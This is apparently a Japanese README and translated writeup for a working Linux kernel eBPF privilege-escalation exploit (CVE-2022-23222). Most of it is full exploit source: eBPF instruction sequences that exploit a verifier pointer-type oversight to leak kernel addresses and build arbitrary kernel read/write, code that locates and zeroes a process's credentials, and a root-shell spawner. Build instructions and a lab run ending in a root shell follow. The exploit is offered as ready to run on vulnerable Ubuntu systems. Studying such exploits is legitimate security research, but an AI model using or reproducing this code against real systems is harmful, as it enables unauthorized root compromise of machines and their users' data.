
とにかくビルドして実行したいだけならここをクリック 以下は、中国語のwriteupのほぼ翻訳です。 こちらから入手できます。
リファレンスとして、バージョン 5.13.0 のメインラインカーネルコードを使用します。
利用可能なポインタ型と、その境界をチェックする関数との間に不整合があります。
この不整合はLinux 5.8で初めて導入され、その後パッチが適用されました。
利用可能なポインタ型のリストは
こちらから入手できます。```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
ご覧のとおり、ポインタが null... になる可能性がある場合に使用される `_OR_NULL` ポインタ型がいくつかあります。
検証器は通常、この時点での null チェックか、一部の関数の引数としての null チェックのみを許可します。
以下の関数は、
[こちら](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720)で入手でき、
ポインタ境界の追跡とチェックを担当しています。```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
残念ながら、このリストにはいくつかのタイプが欠けています。具体的には、
PTR_TO_BTF_ID、PTR_TO_BTF_ID_OR_NULL、PTR_TO_MEM、
PTR_TO_MEM_OR_NULL、PTR_TO_RDONLY_BUF、PTR_TO_RDONLY_BUF_OR_NULL、
PTR_TO_RDWR_BUF、および PTR_TO_RDWR_BUF_OR_NULL です。RINGBUF
マップタイプを使用することで、PTR_TO_MEM_OR_NULL を作成でき、
本来は実行すべきでない算術演算を実行できるようになります。
まず、2つのマップを作成します。ARRAY マップは、ユーザースペースと BPF プログラムの間で情報を渡すために使用されます。
RINGBUF マップは、レジスタに悪用可能なポインタタイプを与えるために
使用されます。```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
ここで、特別に細工されたBPFプログラムをロードして実行します。このプログラムはまず、
`ARRAY`マップのカーネル空間アドレスをBPFスタックに保存し、
その後、先ほどのポインタの見落としを利用して、そのアドレスの最後のバイトを
ゼロにします。検証器は、配列の先頭から読み取っていると考えるでしょうが、
実際には数バイト低い位置から読み取っているため、(うまくいけば)カーネル
アドレスが得られるはずです。```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// r6 = 0xFFFF..........00 (off = 0xE0)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),
// map_update_elem(ctx->comm_fd, 0, r6, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
BPF_MOV64_IMM(BPF_REG_4, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
if (prog < 0) {
WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
goto abort;
}
int err = bpf_prog_skb_run(prog, ctx->bytes, 8);
if (err != 0) {
WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
goto abort;
}
int key = 0;
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
if (err != 0) {
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
goto abort;
}
u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
if ((array_map&0xFFFFF00000000000) < 0xFFFF800000000000){
WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
goto abort;
}
ctx->array_map = (kaddr_t)array_map;
DEBUGF("array_map @ %p", ctx->array_map);
ret = 0;
abort:
if (prog > 0) close(prog);
return ret;
}
では、前回と同じトリックを利用する2つのBPFプログラムをセットアップして、
検証器に、アクセスが許可されている何かを指すポインタを持っていると思わせる(
この場合は前回と同じcomm_fdマップ)。実際には、自分で選んだ任意のポインタだ。これにより、
その任意のアドレスから読み取りや書き込みができる。```c
int prepare_arbitrary_rw(context_t *ctx)
{
int arbitrary_read_prog = 0;
int arbitrary_write_prog = 0;
struct bpf_insn arbitrary_read[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 16 actually.
// store the array pointer
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
// overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// fetch our arbitrary address pointer
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
arbitrary_read_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_read, sizeof(arbitrary_read) / sizeof(arbitrary_read[0]), "");
if (arbitrary_read_prog < 0) {
WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
goto abort;
}
struct bpf_insn arbitrary_write[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = (r1 + 1) * 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 16 actually.
// store the array pointer
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
// overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// fetch our arbitrary address pointer
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),
// if (r0 == 0) { *(u64*)r6 = r1 }
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
BPF_JMP_IMM(BPF_JA, 0, 0, 1),
// else { *(u32*)r6 = r1 }
BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
arbitrary_write_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_write, sizeof(arbitrary_write) / sizeof(arbitrary_read[0]), "");
if (arbitrary_write_prog < 0) {
WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
goto abort;
}
ctx->arbitrary_read_prog = arbitrary_read_prog;
ctx->arbitrary_write_prog = arbitrary_write_prog;
return 0;
abort: if (arbitrary_read_prog > 0) close(arbitrary_read_prog); if (arbitrary_write_prog > 0) close(arbitrary_write_prog); return -1; }
さて、特権昇格を開始できます。まず、既知の名前を持つプロセスを大量に
生成し、その名前を `__ID__`(この場合 `"SCSLSCSL"`)に設定します。
その後、各プロセスがシェルの起動を試みる直前に
自分自身を停止させます。```c
int spawn_processes(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
WARNF("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0 && old != uid) {
OKF("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
ctx->processes[i] = child;
}
return 0;
}
これらのプロセスが次に再開されるとき、うまくいけばそのうちの1つがルート権限を獲得しているはずです。
エクスプロイトは任意読み取り/書き込み用のヘルパー関数をいくつか用意しますが、理解する必要はありません。
これらは上記でビルドしたプログラムを呼び出して、任意のカーネルアドレスを読み書きできるようにするだけです。
次に、メモリをスキャンして、自分たちのプロセスのtask_structの中からcommに設定した名前が見つかるまで探します。
その後、0x10(16)バイト下がってcredへのポインタに到達します(2つの隣接する位置を試します)。```c
int find_cred(context_t ctx)
{
for (int i = 0; i < PAGE_SIZEPAGE_SIZE ; i++)
{
u64 val = 0;
kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p", addr);
return -1;
}
// DEBUGF("addr %p = 0x%016x", addr, val);
if (memcmp(&val, __ID__, sizeof(val)) == 0) {
kaddr_t cred_from_task = addr - 0x10;
if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 8", cred_from_task);
return -1;
}
if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 0", cred_from_task);
return -1;
}
if (val != 0) {
ctx->cred = (kaddr_t)val;
DEBUGF("task struct ~ %p", cred_from_task);
DEBUGF("cred @ %p", ctx->cred);
return 0;
}
}
}
return -1;
}
プロセスの1つである [`cred`](https://elixir.bootlin.com/linux/v5.13/source/include/linux/cred.h#L110) 構造体のアドレスが分かったので、資格情報を上書きして権限を昇格できます。`uid`、`gid`、`euid`、`egid` をゼロに設定します。```c
int overwrite_cred(context_t *ctx)
{
if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
return -1;
}
return 0;
}
ここで、先ほどのプロセスを再開して「ルートシェルを生成」します。新しいルート資格情報を持つプロセスは
system("/bin/sh") でシェルを生成し、残りのプロセスは終了します。```c
int spawn_root_shell(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
kill(ctx->processes[i], SIGCONT);
}
while(wait(NULL) > 0);
return 0;
}
ユーザーがルートシェルを終了すると、残っているすべてのファイル記述子を閉じて
正常に終了します。```c
int clean_up(context_t *ctx)
{
close(ctx->comm_fd);
close(ctx->arbitrary_read_prog);
close(ctx->arbitrary_write_prog);
kill(0, SIGCONT);
return 0;
}
プロジェクトのルートディレクトリから、Dockerがインストールされ、あなたのユーザーに権限が付与されている状態で、次のコマンドを実行します:``` $ ./build.sh
これは、Ubuntu 20.04 を使用してエクスプロイトアプリケーションをビルドします。
このアプリケーションは、脆弱なターゲットとなるすべての Ubuntu システムでそのまま動作します。```
❯ ./build.sh
Sending build context to Docker daemon 42.6MB
Step 1/6 : FROM ubuntu:20.04
---> 20fffa419e3a
Step 2/6 : ARG DEBIAN_FRONTEND=noninteractive
---> Using cache
---> 21a8156714bb
Step 3/6 : RUN apt-get update && apt-get upgrade -y && apt-get update && apt-get install build-essential curl -y
---> Using cache
---> 54b21b81a3ba
Step 4/6 : RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
---> Using cache
---> bb02d929e275
Step 5/6 : ENV PATH="/root/.cargo/bin:${PATH}"
---> Using cache
---> 3475521f417d
Step 6/6 : WORKDIR /data
---> Using cache
---> 981ef909c81a
Successfully built 981ef909c81a
Successfully tagged cve_2022_23222:latest
Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
/data /data
Updating crates.io index
Downloading crates ...
Downloaded cfg-if v1.0.0
Downloaded cc v1.0.73
Downloaded libc v0.2.126
Downloaded memoffset v0.6.5
Downloaded bitflags v1.3.2
Downloaded autocfg v1.1.0
Downloaded nix v0.24.1
Compiling cve_2022_23222 v0.1.0 (/data)
Finished release [optimized] target(s) in 34.45s
vagrant がインストールされていれば、以下のコマンドを実行するだけです。デフォルトでは、vagrant の設定は rsync を使用してこのフォルダを /exploit にコピーします。必要に応じて、Vagrantfile をローカル環境に合わせて変更できます。```
❯ cd lab
❯ vagrant up && vagrant ssh
Bringing machine 'default' up with 'libvirt' provider...
==> default: Running provisioner: shell... default: Running: inline script default: kernel.unprivileged_bpf_disabled = 0 vagrant@ubuntu2110:~$ /exploit/target/release/cve_2022_23222 [D] DEBUG: array_map @ 0xffff8aecb303c000 [D] DEBUG: task struct ~ 0xffff8aecb3408ae8 [D] DEBUG: cred @ 0xffff8aec8c0b36c0 [+] Enjoy root!
uid=0(root) gid=0(root) groups=0(root),1000(vagrant)
vagrant@ubuntu2110:~$ logout
## 参考文献
- [https://github.com/tr3ee/CVE-2022-23222](https://github.com/tr3ee/CVE-2022-23222)
- [https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt](https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt)
- [https://www.openwall.com/lists/oss-security/2022/01/18/2](https://www.openwall.com/lists/oss-security/2022/01/18/2)
## ライセンス
私のコードはすべてMITライセンスの下で公開されています。原著者はライセンスファイルを含めていませんでしたが、
「教育および研究目的のみ」と述べていました。これを制作したことは、教育的であり、研究のためでもあるので、
これに該当すると思います。`src/exploit/` 配下のコードも同じ「教育および研究目的のみ」という
ライセンスであるとみなしてください。それがどういう意味であれ。